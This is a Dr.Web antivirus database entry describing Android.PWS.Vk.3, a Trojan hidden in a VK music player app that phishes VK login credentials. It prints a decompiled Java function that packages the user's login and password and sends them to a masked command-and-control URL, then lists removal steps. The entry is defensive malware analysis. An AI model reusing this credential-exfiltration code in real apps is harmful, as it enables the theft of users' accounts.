Added to the Dr.Web virus database: 2016-06-10

Virus description added:

SHA1: 20a85dc97f4edad3b245e06e6e087afe7b02e4a3

A Trojan designed to infect Android devices. Cybercriminals incorporated it into a player application for VK music and published it on Google Play.

screen Android.PWS.Vk.3 #drweb screen Android.PWS.Vk.3 #drweb

To listen to music, the user is prompted to type the login credentials for their VK profile:

screen Android.PWS.Vk.3 #drweb

If the user does so, Android.PWS.Vk.3 covertly sends the information to the C&C server providing the attackers with full control over the user’s profile.

public static void saveAccount(long userId, int sex, int city, int county, String login, 
String pass) { try { Params params0 = new Params(); params0.put("id", String.valueOf(userId)); params0.put("sex", Integer.valueOf(sex)); params0.put("city", Integer.valueOf(city)); params0.put("county", Integer.valueOf(county)); params0.put("login", login); params0.put("pass", pass); VK.getInstance().go("http://********.com/login_user.php", params0.getParamsString()); } catch(Throwable throwable0) { } }

    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.
